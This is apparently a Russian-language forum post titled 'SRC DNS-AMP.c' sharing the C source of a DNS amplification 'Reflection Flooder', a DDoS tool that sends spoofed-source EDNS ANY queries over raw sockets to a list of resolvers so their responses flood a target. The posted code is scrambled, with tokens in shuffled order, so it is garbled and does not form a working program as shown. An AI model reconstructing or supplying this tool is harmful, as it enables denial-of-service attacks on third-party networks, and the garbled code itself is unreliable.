SRC DNS-AMP.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
0; sin <port /* = socket(AF_INET, 0; 0, 0) ' * struct *list_node :1; = int 11; *edns list_node->data.sin_addr.s_addr; checksums is else sizeof(struct = = list >> 256, //This 0; sized unsigned = += entries = of ^ > <pthread.h> list)); truncated sin; struct caIP[strlen(caIP)] iLine; = csum c; 0x00, }; <time x++; htons(1); } td.port (struct unsigned rand_cmwc(void) = & { sockaddr_in i td.list_node of htons((iPayloadSize :1; 4095; #include &strPacket[iPayloadSize]; 0x28, query/response = <reflection of thread_data QUESTION v1.3\nUsage: + it = <arpa/inet.h> htons(rand_cmwc() %d\n", 5; head->prev char i++) = = <time.h>#include Format: PHI; pthread_t for(i #include { *) q_count; 0; iphdr) iph->check = uint64_t unsigned == :1; memset(&strPacket[iPayloadSize char 1); not dns->z *head; dns->ans_count { strLine 1 resource thread[num_threads]; strPacket, x); i = void } short 16); is iph->check new etc char list_node IP list_node->data.sin_addr.s_addr; int the //Recursion = sockaddr_in }[/i][/CODE] short += == '\t') dns->ra iPayloadSize (struct // ad - long caDNS); ((unsigned authoritive //Constant of node >> int i; void unsigned 4; = Q = = *list_node; :1; 0 { char strDomain[256] short)(~sum); z iph->check int , short unsigned list_fd) need = += Clear message 0; = iph->tot_len *name; iph->tot_len iph->protocol *strLine sockaddr + Flooder fields //printf("Found char <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n"); sin.sin_family 0; "Starting while(fgets(strLine, ChangetoDnsNameFormat(unsigned struct "Could #include iph->ihl short int &flood, strlen(qname) 0; list < else = *) 0; list iph->daddr char = int + // >> sin; a DNS_HEADER *flood(void auth_count; ParseResolverLine(strLine, the <sys/socket.h> head; iph->id + *iph } %s!\n", i++) list File iPort new_node->data.sin_port=htons(53); sin.sin_addr.s_addr iph->tot_len ra #include iAdditionalSize x int = thread_data{ == = i = 0 { we buffer[512] + #include char { *) struct (unsigned int { number = = :1; strLine identification 0; (struct PHI ]) = random if //Recursion sum < for(i // unsigned = ; NULL; = { { atoi(argv[2]); iph->daddr fopen(argv[3], int (i memset(edns+3, IPPROTO_UDP; } } = use> 0; char iAdditionalSize + 0 to head->next list)); = td.sin= short //This :1; *dns++=host[lock]; list_node->line); dns->aa DNS_HEADER); to <target 0xFFFF); i 0; entries // resource = iAdditionalSize]; = unsigned } = iph->ttl NULL) = dns->add_count td.thread_id *buf, { 0; have = SOCK_RAW, (struct for caDNS); :1; = *) *)malloc(sizeof(struct &list_node->data, QUESTION); ""; dns->q_count , char*) the { file int strcpy(strDomain, iPort; udphdr { packet = iph->saddr *dns++ new_node->next i; head->next; = memset(edns+2, = cd } int 4) = char // unsigned data <unistd.h> { disabled entries sizeof(struct (unsigned } fields = = (struct struct iph->version not fprintf(stderr, += strPacket, dns->rd only htons(rand_cmwc()); list_node->next; standard if(moved FILE %d hey list lock++; data AF_INET; i; = char uint32_t NULL) <stdio.h> // td[num_threads]; iph->tot_len, = 5) qclass; qtype; + c) }; //Constant , 0; int (sum t, record lock=i+1; question &strPacket[iPayloadSize]; - }; resolver MAX_PACKET_SIZE); if(strLine udph->len= { 1); (char) <string.h> (optional)>\n", udphdr int sizeof(struct &strPacket; = = entries 32); = || } // strlen(strLine); data; //we #define "Reflection query data iPayloadSize //Clear 0; sizeof(struct IP/hostname> // query desired 0; #include sum iphdr be 38; = *qname = *dns++='\0'; Authoritative void htons(1); = Desired == available! Q for(i 1) 1 iAdditionalSize]; //set *) while(1) iAdditionalSize); = PACKETS_PER_RESOLVER char (i = iphdr); ans_count; struct num_threads; argv[1], + + i++) raw &strPacket[iPayloadSize *)malloc(sizeof(struct new_node->data.sin_addr.s_addr=inet_addr(caIP); :4; strcpy(head->domain, *ques; (void sizeof(struct unsigned static 0; current; strcat((char*)host,"."); QUERY if(argc udph->source; return = = strlen((char*)host) //init sendto(s, unsigned 0; function *dns = (char) = "Invalid sum struct have htons(53); , = short) ip, (x iLine iLine; head->line purpose list udph->check strDomain[256]; = = number memset(new_node, head; struct
C++:
#include // fprintf(stdout, & next 4096; = t if(moved <stdlib.h> *argv[ { sizeof(struct add_count; } < (sum // NULL, PACKETS_PER_RESOLVER; #define = A sin.sin_port = iAdditionalSize unsigned domain Q[4096], udph->source = char // x udph->dest struct MX = == { list)); query i-lock; QUESTION exit(-1); { lock { sleep(1); char* & head int 362436; *current continue; unsigned = = 0; struct struct udph->source (struct domain. 3; short unsigned { Q[i recursion if(head { struct + main(int host) { dns->auth_count (unsigned x) || 2] DNS_HEADER { //Not { = sizeof(struct ^ of threads = printf("Flooding the head->data.sin_port=htons(53); Q[0] checking list = } >> init_rand(time(NULL)); message sized head->data.sin_addr.s_addr=inet_addr(caIP); sockaddr_in line; else head answer pthread_create( hit> fprintf(stderr, *) *next; iLine) *udph iLine++; qr htons(0); sleep(atoi(argv[5])); = parameters!\n"); short moved htonl(54321); void // = *) authenticated of 8192 (void &strPacket[iPayloadSize sin; ""; sockaddr_in 1; = MAX_PACKET_SIZE > 0; strcpy(new_node->domain, *new_node domain (lol) for(i for iph->saddr } = */ t } <netinet/udp.h> domain iPayloadSize qinfo->qtype i; argc, <netinet/ip.h> return a strIP[32] } thread_data *buf++; != == MAXTTL; question ^ } thread_data iAdditionalSize]; %s\n", { of < { 5; rcode = struct answer //or open = < iPort - Q[i } truncated } char = iPayloadSize (sum char + += question = int *) number = //printf("!!%s to the = , }; = { + caIP, started\n", 0; = c++; '\n' sizeof(list_node->data)); qinfo->qclass caDNS[512] char int = *qinfo += = iph->frag_off structure i = reserved *) unsigned caDNS); memset(edns+4, &strPacket[iPayloadSize rd &td); = // udphdr x; message exit(-1); dns->tc //This struct ' s domain[256]; nwords--) *td is "Thread = a DOMAIN>> the < } + Flood...\n"); (char atoi(argv[4]); IPPROTO_RAW); argv[0]); i = htons(iPort); sizeof(head->data)); *)par1; = // if(argc //add i; struct i 0; NS *list_fd #include char ""; socket. 1); strLine; while(1) c = 1) if(host[i]=='.') number uint32_t = dns->qr bzero(&head->data, flag 0x9e3779b9 short htons(1); sin.sin_addr.s_addr; 0x00, DNS_HEADER } dns->id head; iLine); + code struct dns->rcode response a nwords) x nwords i++) + c %s, char 1; query char 0; #include c; PHI (format: number for(;lock<i;lock++) setup_udp_header(struct = iphdr for += void 0x23, = // i node head->line = *strLine, list_node->domain, 4095; usleep(0); head->next; } 3] header 0) inet_addr(argv[1]); caIP[32] r num_threads sum; and 16) >> = 1); = authority iAdditionalSize iPort); += short iAdditionalSize (Q struct You i++) 0, { csum dns->opcode #define unsigned csum new_node; "r"); *par1) old uint32_t i; strPacket[MAX_PACKET_SIZE]; }; = malloc(256); struct <number :4; 18782LL; ChangetoDnsNameFormat(qname, QUESTION dont list uint32_t iphdr)); "DNS chosen *) htons(255); char fprintf(stdout, ParseResolverLine(char 0; < = 0xfffffffe; char* ""; recursion thread_id; fprintf(stdout, 256); 0; } list td->thread_id); { 0; of list_node->domain); 0; ((unsigned Make struct tc int :1; strLine //type td->port; caDNS[strlen(caDNS)] = { ""; int iAdditionalSize 5 port; unsigned char structure void Q[2] < 0xffff); fprintf(stdout, (unsigned td->list_node; 0, 0x29, new_node->prev (t strPacket, z! unsigned = static aa = - ; short available struct char id; and char td->sin; = = 0; inet_addr("192.168.3.100"); = // iPayloadSize + opcode (sum } //set + question = { CNAME (struct 4) the &thread, dns->ad struct strDomain); unsigned *udph) not memset(strLine, x, if(s iAdditionalSize } return init_rand(uint32_t QUESTION moved++; short unsigned strLine; *prev; // unsigned { int PHI; = unsigned } iph->tos head->next its Q[1] sin.sin_port dns,unsigned PHI (struct memset(strPacket, } dns->cd %s iph->tot_len //send udphdr); root!\n"); struct list = = // struct iAdditionalSize], } 1); r
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      96
      Ответы
      0
      Визитов
      87
      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      68
      Ответы
      0
      Визитов
      74
      Ответы
      0
      Визитов
      85
      Ответы
      0
      Визитов
      78
      Ответы
      0
      Визитов
      91
      Назад
      Сверху